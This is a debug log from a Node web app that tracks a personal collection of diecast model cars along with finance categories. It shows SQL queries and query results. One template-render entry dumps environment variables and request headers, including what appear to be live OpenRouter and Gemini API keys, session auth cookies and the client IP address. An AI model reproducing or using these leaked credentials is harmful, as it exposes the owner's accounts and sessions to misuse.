  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2025-12-29T15:42:52.663Z server-connect:app Executing action step identify
2025-12-29T15:42:52.663Z server-connect:app options: { provider: 'security' }
2025-12-29T15:42:52.663Z server-connect:output identity: 1
2025-12-29T15:42:52.663Z server-connect:app Executing action step restrict
2025-12-29T15:42:52.663Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:42:52.664Z server-connect:router Serving serverConnect /api/diecast/get-filters
2025-12-29T15:42:52.664Z server-connect:output restrict: undefined
2025-12-29T15:42:52.664Z server-connect:app Executing action step select
2025-12-29T15:42:52.664Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-29T15:42:52.665Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2025-12-29T15:42:52.665Z server-connect:app Executing action step identify
2025-12-29T15:42:52.665Z server-connect:app options: { provider: 'security' }
2025-12-29T15:42:52.665Z server-connect:output identity: 1
2025-12-29T15:42:52.665Z server-connect:app Executing action step restrict
2025-12-29T15:42:52.666Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:42:52.666Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-29T15:42:52.667Z server-connect:output restrict: undefined
2025-12-29T15:42:52.667Z server-connect:app Executing action step select
2025-12-29T15:42:52.667Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-29T15:42:52.668Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2025-12-29T15:42:52.668Z server-connect:app Executing action step select
2025-12-29T15:42:52.668Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-29T15:42:52.669Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2025-12-29T15:42:52.669Z server-connect:app Executing action step select
2025-12-29T15:42:52.669Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-29T15:42:52.669Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2025-12-29T15:42:53.534Z server-connect:router Serving templateView /collections
2025-12-29T15:42:53.534Z server-connect:app Executing action step identify
2025-12-29T15:42:53.534Z server-connect:app options: { provider: 'security' }
2025-12-29T15:42:53.535Z server-connect:output identity: 1
2025-12-29T15:42:53.535Z server-connect:app Executing action step restrict
2025-12-29T15:42:53.535Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-29T15:42:53.535Z server-connect:output restrict: undefined
2025-12-29T15:42:53.535Z server-connect:router Render template masters/collections
2025-12-29T15:42:53.535Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Acl6ztp0XEhU1Ir0mG%2FAGBA%3D%3D.1oUVEiol6F5D7WEl6prOr9iSi13pnxtp5zIlKPpUm1qmQaHh1YSk47zgWOvnwClQ7%2B8GnZEBssUBLHv0x4FNlk5HpHf1DoTtXhOxWJqn0n4Jkvn%2F%2Ftm6gChj4lHaskmenmUR8UXoRZLyZIkUHfs7Pxl9DorLqheEaoHvG9u0M40%3D.UQBb4HYVnQZUlY9mjWeqyH7Hd8GPe4zdg9G1H%2FP73J4; your_r_git.sid=s%3A4SzmqjW2zn0yZ9bAAdyb6m6dNp7NxYfC.UQAZ4bYWkCBilyvaJ9gXqq0r6S42HlWTxkwLJzUZHhs',
    'x-forwarded-for': '49.43.180.93',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-30T15:37:27.096Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.93',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Acl6ztp0XEhU1Ir0mG%2FAGBA%3D%3D.1oUVEiol6F5D7WEl6prOr9iSi13pnxtp5zIlKPpUm1qmQaHh1YSk47zgWOvnwClQ7%2B8GnZEBssUBLHv0x4FNlk5HpHf1DoTtXhOxWJqn0n4Jkvn%2F%2Ftm6gChj4lHaskmenmUR8UXoRZLyZIkUHfs7Pxl9DorLqheEaoHvG9u0M40%3D.UQBb4HYVnQZUlY9mjWeqyH7Hd8GPe4zdg9G1H%2FP73J4; your_r_git.sid=s%3A4SzmqjW2zn0yZ9bAAdyb6m6dNp7NxYfC.UQAZ4bYWkCBilyvaJ9gXqq0r6S42HlWTxkwLJzUZHhs',
    'HTTP_X_FORWARDED-FOR': '49.43.180.93',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-29T15:42:53.850Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2025-12-29T15:42:53.851Z server-connect:app Executing action step identify
2025-12-29T15:42:53.851Z server-connect:app options: { provider: 'security' }
2025-12-29T15:42:53.851Z server-connect:output identity: 1
2025-12-29T15:42:53.851Z server-connect:app Executing action step restrict
2025-12-29T15:42:53.851Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:42:53.851Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2025-12-29T15:42:53.851Z server-connect:output restrict: undefined
2025-12-29T15:42:53.851Z server-connect:app Executing action step select
2025-12-29T15:42:53.852Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2025-12-29T15:42:53.852Z server-connect:app Executing action step identify
2025-12-29T15:42:53.852Z server-connect:app options: { provider: 'security' }
2025-12-29T15:42:53.852Z server-connect:output identity: 1
2025-12-29T15:42:53.852Z server-connect:app Executing action step restrict
2025-12-29T15:42:53.852Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:42:53.852Z server-connect:output restrict: undefined
2025-12-29T15:42:53.852Z server-connect:app Executing action step paged
2025-12-29T15:42:53.852Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-29T15:42:53.853Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2025-12-29T15:42:53.855Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 172,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
